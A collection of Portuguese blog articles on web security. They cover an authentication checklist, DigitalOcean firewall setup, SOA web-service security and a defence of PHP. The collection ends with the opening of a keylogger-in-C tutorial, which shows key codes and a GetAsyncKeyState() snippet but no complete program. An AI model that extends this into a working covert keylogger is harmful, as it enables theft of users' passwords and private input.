Segurança da informação

Checklist de segurança para autenticação

Cuidar da segurança é um dos pilares para a sustentação de qualquer aplicação na web. Sem o mínimo não é possível nem mesmo garantir uma razoável disponibilidade.

Nesse artigo eu listo alguns dos tópicos que acredito serem de fundamental importância para a integridade e confidencialidade nos processo de autenticação (com foco em autenticação por cookie). Nas próximas semanas novos artigos correlatos à segurança serão publicados.

1) Use HTTPS em todo lugar;
2) Armazene as senhas com segurança;
3) Não impeça o seu usuário de criar uma senha forte;
4) Não transporte pela rede, sem motivo, os dados sensíveis do seu usuário;
5) Limite as tentativas de login;
6) Deixe-o opcionalmente resetar a senha;
7) Cuide da criação dos Cookies e, após o logout, destrua os identificadores da sessão;

1) Use HTTPS em todo lugar

Há alguns anos era comum os sites apenas forçarem o uso do protocolo HTTPS em áreas críticas e sensíveis como, por exemplo, no checkout, login ou cadastro.

Hoje, não só pela maior acessibilidade em gerar certificados SSL, é uma recomendação e um padrão que os sites rodem completamente sob o protocolo HTTPS. O HTTP caminha para se tornar defasado e os navegadores em breve emitirão warnings (sem exceção) para sites que rodem nele.

A Mozilla (mantenedora do Firefox) publicou no final de 2015 um post demonstrando intenção e um projeto para depreciar o HTTP.

Se a sua preocupação é o preço que se paga por um certificado SSL, bom, ela não deve mais existir! Meados de 2016 foi lançado o Let’s Encrypt, uma autoridade de certificação completamente gratuita. Ela é mantida por grandes organizações e através de doações. A ideia é tornar a web completamente HTTPS em alguns anos.

Há de se ressaltar, no entanto, que o protocolo HTTPS em si não garantirá que o seu site seja confiável, ele apenas garantirá a confidencialidade da troca de informações. Se você não cuidar dos dados do seu usuário como, por exemplo, se os trafegar no subterrâneo da web sem segurança, se salvar a senha dele em plain text na base, etc, de nada adiantará.

Ah, falando em protocolo HTTP, muito recomendo o nosso curso de introdução ao http. Com ele você terá uma visão geral muito bacana sobre os “bastidores” de como a web funciona. Essencial para qualquer desenvolvedor:

2) Armazene as senhas com segurança

Nunca armazene as senhas dos usuários em “plain text”, use algum moderno hash de password como o bcrypt (mais acessível) ou o Argon2, vencedor da última competição de password hashing. Ele é o que de mais moderno temos para passwords.

Se sua linguagem suportar nativamente (como é o caso do PHP 7.2) a library Libsodium, que é uma das mais recomendadas entre os especialistas de segurança como uma completa toolkit de criptografia e hashing, por agrupar os melhores e mais sofisticados algoritmos (como o Argon2, anteriormente mencionado), use-a. Mesmo se não suportá-la nativamente (na standard library), certamente haverá uma forma de importá-la para o seu projeto.

Não devemos, como desenvolvedores, partindo do pressuposto de que a maioria de nós não é especialista em criptografia, criar as nossas próprias bibliotecas para resolver tais questões. Usemos as criadas, testadas e auditadas por especialistas. Andar sobre um terreno desconhecido pode nos levar à nefastas consequências.

Vale a pena reforçar: Descarte qualquer artigo ou referência que indique algoritmos de hashing como o MD5 e SHA1 para armazenamento de passwords (mesmo que com salt’s). Eles não foram projetados para esse propósito. Além disso, não são seguros, principalmente por serem suscetíveis à ataques de colisão. Uma colisão num algoritmo de hashing é, basicamente, uma mesma saída sendo representada para diferentes entradas (sendo que a premissa deles é, em teoria, uma representação (de saída) única para cada entrada).

Leitura recomendada: Password Storage Cheat Sheet.

Se você usa um Web Framework (Rails, Laravel etc), é bem possível que ele já abstraia uma camada de autenticação usando as melhores práticas. Mas é sempre bom tirar um tempo e consultar a documentação.

3) Não impeça o seu usuário de criar uma senha forte

É extremamente comum sites que possuem regras bastante estranhas (quiçá equivocadas) para a definição de passwords. Eu passo bastante por esse tipo de situação pois eu uso um password manager e crio senhas únicas de mais de 32 caracteres para cada serviço, no entanto, não é todo site que as aceita.

Algumas das regras que considero equivocadas:

Exigir que o password tenha apenas letras e números (sem caracteres especiais);

Se o seu site usa um hash de password como comentado anteriormente (e ele deveria usar um), ter a senha com caracteres especiais, números, letras etc, nunca vai ser um problema. Muito pelo contrário, se puder, incentive o seu usuário a criar senhas que usem toda essa pluralidade (mas, sem obrigá-lo, ademais, a segurança também é uma responsabilidade que precisa partir do usuário).

Delimitar o tamanho do password;

Alguns sites delimitam um máximo de 14 ~ 16 caracteres para a senha. Isso não faz sentido. Limitar um mínimo, até faz e, nesse caso, é você prezando (ou ao menos tentando) pela qualidade da senha do seu usuário. Por exemplo: “A senha deve ter no mínimo 6 caracteres”.

Se o seu site lida com informações sensíveis e críticas, você até pode ter um sistema que aceite senhas pequenas, desde que você implemente, por exemplo, autenticação multifator (multi-factor authentication). Um exemplo são os bancos, a senha web é pequena, no entanto, não é possível acessar a interface da conta sem confirmar o token que é gerado por aplicativo ou enviado por SMS.

A estratégia e o critério aqui vai depender do nicho do seu negócio, da criticidade das informações transacionadas por ele.

Como regra geral: Se o seu usuário quer cadastrar uma senha forte, não o impeça disso. É frustrante.

4) Não transporte pela rede, sem motivo, os dados sensíveis do seu usuário

Eu já passei, mais de uma vez, pela situação de o site me enviar no e-mail a senha que eu usei no cadastro. Isso é uma das piores coisas que você pode fazer ao confirmar um cadastro.

A senha do seu usuário é um dado sensível, extremamente sensível, é sagrada. Ela não pode e nem deve ser exposta. Tanto que, ao gravá-la na base de dados, temos o cuidado de usar um hash de password.

Infelizmente a maioria dos usuários ainda não tem a cultura de usar um password manager e, naturalmente, com uma web tão saturada, tantos serviços, tantas redes sociais, as senhas são normalmente reutilizadas em dezenas de serviços. É bem que possível que aquela senha que foi enviada no e-mail seja a porta de entrada para dezenas de outros serviços que o seu usuário utiliza.

5) Limite as tentativas de login

Logins são alvos de bots em ataques de força bruta. Criar um mecanismo para limitar um número de vezes que um determinado IP pode tentar logar (ou IP e username) é uma boa alternativa.

Alguns frameworks já possuem tal implementação, bastando apenas utilizá-la, normalmente é um middleware que precisa ser atrelado à rota de login. Cada tentativa de acesso é salva em cache (de preferência cache em memória) e se ultrapassar o limite estabelecido (por exemplo, 6 tentativas), o usuário fica bloqueado de tentar novamente por um ou dois minutos, por exemplo (a depender da sua escolha).

Se o seu login estiver sob forte ameaça desse ataque, uma opção paliativa é usar um captcha como o reCaptcha do Google, ao menos que temporariamente. O problema dessa opção é que prejudica muito a usabilidade do usuário mas, dependendo da situação, pode ser uma grande aliada.

Se o ataque de força bruta estiver generalizado e vindo de muitos diferentes IP’s, talvez uma boa opção seja utilizar um serviço de segurança que trabalhe como um firewall ainda no DNS mitigando-os (como a Cloudflare).

6) Deixe-o opcionalmente resetar a senha

Essa opção é excelente para a usabilidade do usuário, imagina se ele tivesse que entrar em contato sempre que precisasse alterar a senha? Mesmo que essa não seja uma prática rotineira, seria contra-produtivo.

Mas há de se ressaltar que esse é um processo razoavelmente crítico e que costuma sofrer ataques, portanto, precisa ser bem modelado. Abaixo vou listar o que não deve ser feito ao resetar uma senha e algumas recomendações do que pode / deve ser feito.

O que não deve ser feito:

  • Não envie a nova senha no e-mail;
  • Não envie a senha antiga no e-mail;

Pra começo de conversa, se você ao menos tem o “poder” de conhecer a senha antiga do seu usuário, está errado, pois isso mostra que ela está sendo armazenada em plain text.

O que deve / pode ser feito:

  • Dê opção no seu painel administrativo para o usuário desativar a opção de recuperação de senha.

Pode parecer “estranha” essa hipótese, mas quem usa um password manager pode não ter interesse em ter a função de recuperar senha. Pra ele não faz muito sentido. Tê-la sem que ele vá utilizar, pode vir a ser, no futuro, uma brecha para a segurança da conta. Vamos pensar, hipoteticamente: ele esquece a conta de e-mail logada no computador da empresa onde trabalha. Um usuário a acessa e então pode solicitar a recuperação da senha de algum serviço que ele usa, o e-mail chegará, ele alterará a senha e por consequência, terá o controle da conta.

É verdade que a hipótese acima não aconteceria se houvesse uma verificação adicional como, por exemplo, enviar um token via SMS para o usuário confirmar e só então enviar o e-mail com o link para resetar a senha.

O fluxo padrão de uma recuperação de senha efetiva:

  • Gere um token para recuperação da senha e salve-o no banco de dados;
  • Se uma nova tentativa de recuperar a senha for realizada, remova o token anteriormente criado e gere um novo;
  • Envie o token no e-mail do usuário, em um link, para que ele não precise copiá-lo e depois colá-lo em algum input do site para validação;
  • Após a definição da nova senha, remova o token da base de dados;

Há diferentes estratégias para essa geração e avaliação dos tokens. Existem detalhes conceituais que precisam ser considerados, como: avalio o token diretamente na base de dados ou avalio em constant time usando uma função segura para avaliação de strings? Em constant time é a melhor opção, pois evita timing attack. No PHP temos a função hash_equals() que compara duas strings de forma segura.

O objetivo desse artigo não é adentrar em detalhes de implementação, mas eu deixo aqui uma excelente referência para estudo.

7) Cuide da criação dos Cookies e, após o logout, destrua os identificadores da sessão

Num sistema tradicional de autenticação por cookie, temos essa relação:

A credencial do usuário é validada, um cookie é enviado na resposta da requisição HTTP (e o navegador trata de criá-lo no disco). No lado do servidor, um arquivo que identifica esse Cookie também é criado e é nesse arquivo que alguns dados dos usuários são salvos (id etc), no servidor, isso é o que chamamos de “sessão”. Normalmente é salvo no disco, mas também pode ser salvo em memória (memcached, redis etc). Sempre que o seu usuário fizer logout, essa referência que ficou no servidor (esse arquivo de sessão), precisa ser forçadamente removido.

Segurança:

Sempre crie os seus Cookies configurando-os como “Secure” e “httpOnly”.

Quando criado como “Secure”, ele só roda sob HTTPS. E quando criado como “httpOnly” não é possível resgatá-lo via JavaScript, isso previne que algum ataque XSS bem sucedido roube-o.

Leitura recomendada: httpOnly

Ah, claro, outra boa prática: criptografe o conteúdo dos seus cookies. Se você observar novamente a última imagem, mais especificamente na key “content”, verá que é um conteúdo criptografado. A ideia é não expor facilmente alguma informação sensível.

Novamente, vale reiterar: se você usa um framework importante da sua linguagem, teoricamente ele segue (ou deveria) as melhores práticas acima mencionadas. Mas é bom certificar-se de tais pormenores.

Previna ataques cross-site utilizando SameSite cookies:

SameSite é um atributo relativamente novo disponível para a criação de Cookies. Ele foi colocado como recomendação da IETF no ano passado (em 2016).

Esse atributo é suportado pelo Chrome desde a versão 59. O suporte completo você pode conferir aqui. Ele resolve a maioria dos ataques de CSRF.

Um ótimo case é do Dropbox, a equipe de engenharia deles explica aqui como aplicarem esse novo atributo e o que ele resolve para eles.

Aproveite e também leia: Cross-Site Request Forgery (CSRF) e abordagens para mitigá-lo

Concluindo

Há, certamente, outros tópicos importantes intrinsecamente ou não relacionados à autenticação e que certamente abordarei em outros artigos como, por exemplo, cuidar da validação dos dados recebidos, na camada de acesso ao banco de dados usar queries parametrizadas e assim por diante.

Até a próxima!

Aumente a segurança na Digital Ocean com o Cloud Firewalls

A Digital Ocean está sempre com novidades e um ponto que chama atenção é a contínua melhora da plataforma. A empresa está sempre lançando novos recursos que são documentados através de uma comunicação clara com os desenvolvedores, seja através do blog, documentação ou contato direto com a comunidade. Outro fator relevante é a facilidade de se usar os novos recursos e esse é, certamente, outro ponto forte da plataforma.

Segurança na nuvem

Ao configurar qualquer servidor ligado na internet a segurança é uma das primeiras coisas que devemos pensar. Antes da Digital Ocean possuir o recurso Cloud Firewalls que veremos nesse artigo, era necessário configurar iptables manualmente no Linux. O grande problema da configuração manual não está quando temos apenas uma máquina para rodar determinado serviço, mas quando várias máquinas são utilizadas ou quando existe uma rede com Load Balancers e outros recursos dentro da plataforma e aí esse trabalho de configuração manual pode se tornar bastante complexo.

Em outras plataformas a utilização de firewall padrão não é novidade, por exemplo, na AWS esse recurso já existe há algum tempo.

Conceitos básicos do Cloud Firewalls

Antes, alguns aspectos que precisamos conhecer:

  • No firewall existem as regras de entrada e as regras de saída;
  • Dentro de uma regra é possível selecionar o protocolo, porta única ou range de portas e quem terá permissão de acesso;
  • Por fim, temos as VPSs e tags que esse firewall será aplicado. Um VPS pode ter muitos firewalls e um firewall pode ser aplicado a vários VPS’s;

Veremos na prática alguns exemplos.

Gerenciamento do Firewall

Para criar um novo firewall podemos acessar o gerenciador de 2 modos, na tela principal no menu Networking > Firewalls ou nas configurações de uma Droplet específica no menu Networking > Firewalls > Manage Firewalls. No gerenciador basta clicar em Create Firewall para criar um novo.

Por padrão, o firewall aceita conexões na porta 22 (SSH) de qualquer IP, seja IPv4 ou IPv6. Veja a imagem:

Imagem porta de entrada padrão

Vamos supor que você queira liberar a porta do SSH somente para um IP específico (e essa prática é encorajada):

Liberação porta de entrada ip especifico

Outro recurso legal é o uso de Tags. Dentro da plataforma é possível criar tags para agrupar recursos, por exemplo, vamos supor que você queira liberar o acesso à porta do MySQL somente para as droplets que possuam a tag servidor-web:

Abertura porta de entrada para uma Tag

Nas regras de saída temos algo bem parecido:

Portas de saída padrão firewall

Por padrão as regras de saída são:

  • Permite tráfego ICMP de qualquer endereço IPv4 e IPv6
  • Permite tráfego de saída TCP para todas as portas em qualquer endereço;
  • Permite tráfego de saída UDP para todas as portas em qualquer endereço;

É possível configurar essas regras para ficarem mais restritivas, apesar do tráfego de saída não ser tão perigoso como o de entrada.

Por fim, deve ser escolhido o local onde o firewall será aplicado, pode ser em um ou mais Droplets ou Tags:

Locais onde o firewall será aplicado

No exemplo acima está sendo aplicado a todos os recursos com a Tag servidor-web e ao Droplet treinaweb-test.

Conclusão

Um dos princípios de segurança mais importantes é a permissão mínima. Sempre que for configurar seu firewall libere apenas as permissões mínimas necessárias para as conexões usadas no seu servidor. Serviços como SSH e MySQL preferencialmente devem ser liberados para acesso somente ao IP do administrador ou de alguma outra máquina que acesse esse serviço e, com isso, restringe-se a maioria dos ataques possíveis.

Por fim, vale destacar os limites do Firewall da Digital Ocean:

  • Quantidade total de regras de entrada e saída de um firewall: 50
  • Quantidade de Droplets por Firewall: 10
  • Firewalls por Droplet: Ilimitado
  • Tags por Firewall 5.
  • Droplets por tag: Ilimitado

Caso queira mais de detalhes, você pode acessar o exemplo oficial.

Segurança em SOA: Como proteger os web services?

No último artigo sobre SOA, vimos sobre a Arquitetura Orientada a Serviços e como ela funciona. Vimos que uma implementação dessa arquitetura pode ser realizada com qualquer tecnologia baseada em web, mas geralmente a SOA é implementada utilizando Web Services, já que estes são fáceis de implementar e distribuir. Estes mesmos web services também são responsáveis por expor, através de uma rede, um determinado serviço. Sendo assim, eles precisam de uma atenção especial quanto à segurança. Como saber se meus web services estão realmente protegidos?

Serviços

Antes de qualquer coisa vamos retomar à definição sobre o que é um serviço. Para que se possa ter uma real governança em TI em uma empresa é necessário saber que isso não é atingido do dia para a noite. É um processo de longo prazo, por isso exige muita cautela dos processos como um todo, mantendo um alinhamento estratégico entre o negócio e a TI. O Negócio e a TI precisam trabalhar juntos!

Um dos autores mais famosos deste segmento, Thomas Erl, escreveu o livro SOA: Princípios do Design de Serviços, onde ele aborda 8 “regras” para definir um serviço. Nesse livro, ele enumera o que considera essencial para fazer uso da SOA “de verdade”. São eles:

Serviços são reutilizáveis

Essa é talvez uma das principais regras. Para isso acontecer, é necessária a interação da TI e do negócio. Quanto mais um serviço for genérico e puder ser reaproveitado, melhor!

Serviços compartilham um contrato formal

Todo serviço deve vir acompanhado de um “contrato”, onde ele deve informar o que o serviço faz e como ele se comunica.

Serviços possuem baixo acoplamento

Baixo acoplamento significa que certas implementações de um serviço podem ser modificadas, evoluídas e até mesmo substituídas, sem afetar negativamente os consumidores deste serviço.

Serviços abstraem a lógica

Serviços não devem expressar as regras de negócio. Os serviços SOA devem guardar os detalhes de sua implementação, até mesmo caso seja preciso modificar a lógica do negócio, não comprometendo as obrigações do serviço escritos no seu contrato.

Serviços são capazes de se compor de outros serviços

A composição também é uma forma de reutilização. Sendo assim, um serviço pode muito bem chamar um outro serviço para executar a sua tarefa.

Serviços são autônomos

Um serviço também deve ser autônomo, ou seja, apenas ele é suficiente para executar sua lógica.

Serviços evitam alocação de recursos por longos períodos

Quando um serviço é reutilizado, devemos tomar alguns cuidados. Não se deve criar muitas instâncias de um mesmo serviço, pois isso pode sobrecarregar a infra-estrutura. Para isso não acontecer, o serviço deve evitar reter informações específicas em uma determinada atividade.

Serviços devem possuir a capacidade de serem descobertos

O que eu quero dizer é que a capacidade dos serviços serem descobertos significa a visibilidade deles.

Para que isso ocorra, o contrato deve ser bem descrito, evitando que novos requerimentos resultem em serviços redundantes.

Agora que já entendemos um pouco melhor sobre como nossos serviços devem se comportar, vamos a um outro ponto do nosso artigo.

Imagine que uma empresa esteja fazendo o uso de SOA. O que pode acontecer se ela estiver utilizando um web service onde suas informações estão trafegando pela rede sem proteção???

Isso mesmo: acessos indevidos e possíveis interceptações das informações que trafegam pela infraestrutura dos serviços SOA!

Sendo assim, a necessidade de se proteger os recursos envolvidos com a aplicação da SOA no ambiente de TI é uma necessidade real.

Conheça o WS-Security: Segurança para Web Services

A tecnologia WS-Security (Web Services Security) é um padrão que tem a intenção de apoiar a SOA no sentido de prover segurança quando os dados são trocados. O WS-Security disponibiliza um sistema rico para prover segurança, tanto em confidencialidade quanto em autenticação.

Apesar disso, o WS-Security não funciona sozinho. Ele funciona em conjunto com as especificações WS-Policy e WS-SecurityPolicy. Essas especificações têm por objetivo, respectivamente, estabelecer políticas gerais a respeito de segurança, qualidade de serviço, confiabilidade; além de estabelecer quais são as políticas de segurança aplicáveis a um determinado serviço.

Na figura abaixo, podemos ver a estrutura de segurança que é fornecida pelo WS-Security, fazendo também uso da estrutura do WS-Policy.

Esses conceitos são baseados em cinco requisitos comuns de segurança: identificação, autenticação, autorização, confidencialidade e integridade.

Se um solicitante quiser acessar os serviços em segurança, primeiramente ele deve fornecer informações que expressem a sua origem. O WS-Security armazena essas informações em um cabeçalho padronizado, cujo ponto é referido como um token.

A autenticação requer a prova de que a mensagem que está sendo entregue ao destinatário é realmente do remetente que alega ser, fornecendo uma prova de que sua identidade reivindicada é verdadeira.

Após a autenticação, o destinatário pode precisar determinar se o solicitante está autorizado a fazer o que ele tenta fazer. Isto é chamado de autorização. Já a confidencialidade está diretamente ligada com a proteção e privacidade do conteúdo da mensagem, onde a mensagem deve ser mantida como confidencial e nenhum serviço ou mensagem não autorizada deve ver seu conteúdo.

Por último, temos a integridade, que garante que a mensagem não foi alterada desde a sua saída do remetente, garantindo que a mensagem permaneceu intacta a partir do momento de transmissão para o ponto de entrega.

Percebe a necessidade de se proteger as estruturas SOA em uma organização? Os benefícios adquiridos são muitos. Fazendo o uso correto das normas de segurança, a empresa poderá se beneficiar com o uso da SOA sem se preocupar com a integridade de suas informações, ponto de preocupação este que é de certa forma recorrente em organizações que iniciam o processo de adoção de uma arquitetura SOA.

O PHP e o seu ecossistema nunca estiveram tão fortes

Uma das coisas mais destrutivas é o conceito pré-estabelecido sem uma análise razoável de conhecimento de causa. A tecnologia é mutável, ela não é perfeita, ela sempre terá algum ponto de fraqueza e continuamente evoluirá.

Algumas das falácias e más impressões sobre o PHP

Abaixo algumas das falácias e más impressões que são facilmente encontradas na web e em roda de colegas/amigos desenvolvedores e darei a minha opinião sobre cada uma delas.

“O PHP só serve para sites pessoais.”

O PHP, desde sua gênese, nasceu para Web e desde então, nunca a mudou. Ele se reinventou algumas vezes durante as décadas (sim, é uma linguagem nascida nos anos 90) e se estabeleceu com uma completa “plataforma web”. É utilizado pelas principais empresas de tecnologia do mercado e em grandes projetos. Algumas das grandes empresas que usam o PHP: Facebook, Google, Baidu, Wikipedia, Spotify, Uber etc.

Sim, o PHP foi criado despretensiosamente com o nome de “Personal Home Page Tools”. Rasmus Lerdorf, o seu criador, o desenvolveu para cuidar da sua página pessoal. A plataforma foi ficando interessante, recebendo incrementos, até que, depois de algumas versões, Zeev e Andi Gutmans (co-fundadores da Zend Technologies) reescreveram todo o core e lançaram a versão PHP 4. Nessa época que começou uma grande adoção da linguagem. Nos anos seguintes o PHP teve uma completa (nos seus termos e características) adição do paradigma de orientação a objetos, entre outras melhorias estruturais, até chegarmos no ponto em que estamos hoje, na versão PHP 7 e não muito distantes da versão 8.

Leitura recomendada: PHP 7 e novidades do PHP 7.1.

Veja esse relato, o Uber arrecadou as suas primeiras “moedas” utilizando PHP e a versão de um Framework que hoje é legada (a versão):

E vale lembrar que a escalabilidade de uma aplicação vai muito além da linguagem que ela utiliza.

“PHP é inseguro.”

Nenhuma linguagem é estritamente segura. A segurança da informação não se restringe a apenas algumas linhas de código. Ela envolve redes e seus protocolos, sistema operacional, serviços externos que são utilizados e, claro, a parte que nos “toca” (como desenvolvedores), que é a “programação segura” e, na maioria dos casos, a insegurança de uma codificação se dá pela limitação de conhecimento técnico do desenvolvedor e não necessariamente por causa da tecnologia que ele está utilizando.

Alguns dos macro tópicos que deveriam ser de domínio de todo desenvolvedor web (não importando a linguagem utilizada):

  • Conhecer o básico do protocolo HTTP;
  • Validar e sanitizar inputs (nunca confiar no que receber do cliente), isso já previne futuros ataques XSS e também escapar os dados ao imprimir na tela para o cliente;
  • Sempre utilizar queries parametrizadas nas operações com o banco de dados. Isso elimina a possibilidade de SQL Injection;
  • Utilizar um moderno algoritmo de hashing para passwords (como o bcrypt ou, melhor ainda, Argon2 que tem ganhado adeptos na comunidade de segurança);
  • Utilizar https em todos os domínios;
  • Criar cookies seguros, que só funcionem via HTTPS e que não sejam acessados por JavaScript;

Certamente há outros importantes tópicos, inclusive alguns mais relacionados a devOps. É importante buscar por esse tipo de conhecimento. Como desenvolvedores web não precisamos criar soluções para segurança, devemos apenas entender e utilizar as existentes. Não cabe a nós criarmos, por exemplo, uma library para criptografia, não é da nossa alçada, tem gente muito mais preparada para isso. Agora, é muito importante que conheçamos as opções disponíveis e como elas podem nos ajudar em nossos projetos.

Pelo fato de o PHP ser o motor de alguns dos maiores CMS’s do mercado como: WordPress, Drupal, Joomla, Magento etc, é comum ler e notar vulnerabilidades que são encontradas nessas plataformas. E isso não é problema, desde que você se preocupe em sempre a utilizar as últimas versões e desde que elas se mantenham atualizadas (que é o caso). Algumas vulnerabilidades não são especificamente do PHP e sim de algum módulo externo como OpenSSL ou algo relacionado ao sistema operacional. Sim, o PHP, como qualquer outra plataforma, possui vulnerabilidades, sempre teve, sempre vai ter, por isso é sempre importante utilizar as últimas versões estáveis das tecnologias que você trabalha (e isso vale para tudo, desde a linguagem, uma simples library ou até mesmo o seu sistema operacional).

É razoavelmente comum sistemas legados rodando em versões antigas do PHP. Não dá pra cravar que tais sistemas precisam ser reescritos e migrados, tudo depende da criticidade das informações que eles trabalham e como é feita a auditoria de segurança neles.

Vale o destaque: A próxima minor version do PHP, a 7.2, fará dele a primeira linguagem a adicionar criptografia moderna (incluindo as últimas e mais avançadas curvas elípticas) na sua standard library, com a libsodium.

“PHP é uma linguagem defasada.”

Por muitos anos o PHP trabalhou com a ideia de “estabilidade” em detrimento à novas features, no entanto, a partir da versão 5.3 tivemos significativas alterações na linguagem, inclusão de novos recursos e estruturas.

É plausível não gostar do PHP, da sintaxe dele etc, cada qual com seus conhecimentos tácitos, preferências etc. Linguagens são como círculos sociais, elas possuem uma cultura, uma essência, algo que não se “quebra”, intangível. Ou seja, se eu adoro a forma com que Ruby faz alguma coisa, não devo achar que o PHP é defasado por conta disso, ou que ele deveria fazer da mesma forma. São culturas diferentes, formas de aplicar e pensar diferentes. E toda pluralidade é positiva.

“Mas o PHP não é uma linguagem orientada a objetos…”

Realmente, o PHP não é uma linguagem orientada a objetos, ele implementa o paradigma de orientação a objetos. O PHP é multiparadigma. Não existe demérito algum nisso. Não é o fato de uma linguagem ser (em essência) orientada a objetos que a faz ser a solução para todos os problemas. Por exemplo, atualmente é notório um movimento e uma grande adoção por linguagens funcionais.

A implementação de orientação a objetos no PHP é robusta e esse paradigma é o mais utilizado em todos os principais frameworks dele provindos.

Por que aprender PHP é um grande negócio?

Abaixo alguns motivos que eu considero relevantes mas que, claro, devem ser alinhados com os objetivos do seu projeto, a equipe que trabalhará nele etc.

1). É a linguagem mais utilizada para web, cerca de ~82% de todos os sites a utilizam:

2). Ela foi desenvolvida para a Web (isso é um fator de vantagem e competitividade para se manter no topo entre mais utilizadas);

Isso pode ser observado no corpo do anúncio da primeira versão do PHP, postado em Junho de 1995 no repositório Usenet newsgroup:

From: rasmus@io.org (Rasmus Lerdorf) 
Subject: Announce: Personal Home Page Tools
Date: 1995/06/08
Message-ID: <3r7pgp$aal@ionews.io.org>#1/1 
organization: none
newsgroups: comp.infosystems.www.authoring.cgi

Announcing the Personal Home Page Tools (PHP Tools) version 1.0.

These tools are a set of small tight cgi binaries written in C. They perform a number of functions including:

. Logging accesses to your pages in your own private log files
. Real-time viewing of log information
. Providing a nice interface to this log information.
. Displaying last access information right on your pages.
. Full daily and total access counters
. Banning access to users based on their domain
. Password protecting pages based on users' domains
. Tracking accesses ** based on users' e-mail addresses **
. Tracking referring URL' s - HTTP_REFERER support
. Performing server-side includes without needing server support for it
. Ability to not log accesses from certain domains (ie. your own)
. Easily create and display forms
. Ability to use form information in following documents

Here is what you don't need to use these tools:

. You do not need root access - install in your ~/public_html dir
. You do not need server-side includes enabled in your server
. You do not need access to Perl or Tcl or any other script interpreter . You do not need access to the httpd log files

The only requirement for these tools to work is that you have the ability to execute your own cgi programs. Ask your system administrator if you are not sure what this means.

The tools also allow you to implement a guestbook or any other form that needs to write information and display it to users later in about 2 minutes.

The tools are in the public domain distributed under the GNU Public License. Yes, that means they are free!

For a complete demonstration of these tools, point your browser at: http://www.io.org/~rasmus

- -
Rasmus Lerdorf
rasmus@io.org
http://www.io.org/-rasmus

3). O suporte à linguagem é constante. Todo ano teremos uma nova minor version até a chegada de alguma nova major version.

Pode ser que demore um pouco menos ou um pouco mais de um ano, tudo vai depender da estabilidade das alterações. Mas essa é a ideia principal. E para cada nova minor version, têm-se dois anos de suporte (bugs e segurança).

O panorama atual das versões do PHP e o suporte concedido a elas:

4). O PHP possui um maduro e completo ecossistema para gerenciamento de dependências (com Composer e Packagist).

Hoje, isso é requisito de análise para a escolha de uma linguagem. Um gerenciador de dependências é parte fundamental para o desenvolvimento e manutenção dos projetos.

O Composer (o gerenciador de dependências), nascido em 2011, mudou completamente a forma de se desenvolver com PHP. Eu separo a história do PHP em:

  • Pré-Composer
  • Pós-Composer

O Packagist é o repositório oficial do Composer. números dele do dia 13/04/2012 até 03/04/2017:

Pacotes registrados Versões disponíveis Pacotes instalados
134.508 804.269 4.264.652,569

5). O PHP é amplamente documentado na Web

Há documentação, artigos, dicas, discussões, fóruns, recursos etc. O PHP não nasceu “hoje”. Muitos problemas com suas soluções estão disponíveis na Web, muitos deles no Github.

6). O PHP possui excelentes e estabelecidos frameworks.

Alguns dos maiores expoentes do mercado e que estão andando junto com a evolução da linguagem:

  • Laravel 5
  • Symfony 3 (Em breve Symfony 4)
  • Zend Framework 3
  • Zend Expresive 2
  • CakePHP 3
  • Silex 2
  • Slim 3
  • CodeIgniter 3

O Symfony, Laravel e Zend Framework elevaram o nível do desenvolvimento com PHP. Há cases de aplicações com milhares de requisições por segundo e que utilizam algum desses frameworks.

Qual o real objetivo aqui?

O meu interesse não é afirmar que o PHP é a melhor linguagem, muito menos sugerir que você pare tudo e comece a estudá-lo. Essa ideia de “melhor linguagem” cai muito no terreno da “relatividade”. A melhor é que resolve o problema do seu projeto e que a sua equipe consegue trabalhar bem com ela.

Algo muito importante que devemos ter em mente é:

Uma linguagem de programação deve ser tratada como o “meio” para resolver um problema, não o “fim”.

Isso quer dizer que, não importa que linguagem você venha a escolher, desde que ela consiga entregar o valor final do seu produto. A escolha de uma linguagem / plataforma, principalmente em um ambiente corporativo, em um grande projeto, se passa por muitas decisões que vão além da nossa opinião e gosto pessoal.

A ideia aqui foi expor alguns pontos sobre PHP, que por muitas vezes é motivo de brincadeiras (o que é engraçado, eu me divirto às vezes haha) e até mesmo de julgamentos injustos.

Ah, claro, apesar disso tudo, sim, sou um “discípulo” da linguagem e eu fico muito contente quando as pessoas dão uma oportunidade de conhecê-la com mais intimidade.

Quer aprender PHP do “zero”? Os nossos módulos base podem te ajudar com isso:

Um abraço e até a próxima!

Criação de um Keylogger em C

Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual.

Quero mostrar que com um simples código conseguimos capturar informações de um teclado.

Você já deve ter escutado alguma vez a palavra keylogger e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.

Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.

Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.

O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.

Entendendo a identificação de teclas

Para criar um keylogger é necessário saber a identificação de cada uma das teclas do nosso teclado.

Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.

Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.

Veja abaixo algumas teclas com suas identificações:

##65   41  A
##66   42  B
##67   43  C
##68   44  D
##69   45  E
##70   46  F
##71   47  G
##72   48  H
##73   49  I
##74   4A  J
##75   4B  K
##76   4C  L
##77   4D  M
##78   4E  N
##79   4F  O
##80   50  P
##81   51  Q
##82   52  R
##83   53  S
##84   54  T
##85   55  U
##86   56  V
##87   57  W
##88   58  X
##89   59  Y
##90   5A  Z

Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.

Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.

Tabela ASCII completa: http://www.ascii-code.com/

A função GetAsyncKeyState()

Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a GetAsyncKeyState().

Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.

Exemplo:

if(GetAsyncKeyState(65) == -32768)
  printf("Tecla A foi pressionada 
");

Repare que a função apenas retorna -32768 se a tecla estiver pressionada, caso contrário o retorno é 0 (zero).

